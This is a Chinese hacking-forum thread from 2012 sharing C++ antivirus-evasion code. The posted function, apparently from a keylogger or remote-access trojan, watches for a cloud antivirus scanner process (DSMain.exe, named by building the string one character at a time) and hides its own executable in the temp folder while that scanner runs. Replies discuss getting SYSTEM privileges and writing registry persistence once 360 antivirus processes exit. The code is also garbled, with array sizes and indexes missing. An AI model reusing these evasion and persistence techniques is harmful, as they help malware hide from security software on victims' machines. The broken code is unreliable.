小妖 发表于 2012-6-27 03:53:55

循环移动代码

void __stdcall AntiYun()
{
char strDSMain = {0}; // DSMain.exe
strDSMain = 'D';
strDSMain = 'S';
strDSMain = 'M';
strDSMain = 'a';
strDSMain = 'i';
strDSMain = 'n';
strDSMain = '.';
strDSMain = 'e';
strDSMain = 'x';
strDSMain = 'e';
strDSMain = '\0';
char szpathname;
char szfilename;
char szextname;
char MyPath, TempPath;
GetTempPath(sizeof(TempPath), TempPath );
GetModuleFileName( CKeyboardManager::g_hInstance, MyPath, sizeof(MyPath) );
splitname(MyPath, szpathname, szfilename, szextname);
lstrcat( TempPath, "\\" );
lstrcat( TempPath, szfilename );

for (;;)
{
Sleep(100);
if (GetProcessID(strDSMain))
{
   OutputDebugString("发现云查杀进程,移动文件");
   MoveFile( MyPath, TempPath );
   Sleep(100);
   for (;;)
   {
    Sleep(100);
    if (!GetProcessID(strDSMain))
    {
   OutputDebugString("云查杀进程退出了,把文件移回来");
   MoveFile( TempPath, MyPath );
   break;
    }
    Sleep(3000); // 每3秒循环一次检测
   }
}
Sleep(3000); // 每3秒循环一次检测
}

}

xhjzgsdzylj 发表于 2012-6-27 09:57:13

这个早就有了

xhjzgsdzylj 发表于 2012-6-27 09:57:58

有没有关机时写注册表的代码

孩子气 发表于 2012-6-27 12:13:42

看看         

x7code 发表于 2012-6-27 18:13:43

xhjzgsdzylj 发表于 2012-6-27 09:57 static/image/common/back.gif
有没有关机时写注册表的代码

有地。提升进程权限到system 然后循环遍历 当360进程不在的时候进行写入。
但是360好像拦截提权
页: [1]
查看完整版本: 循环移动代码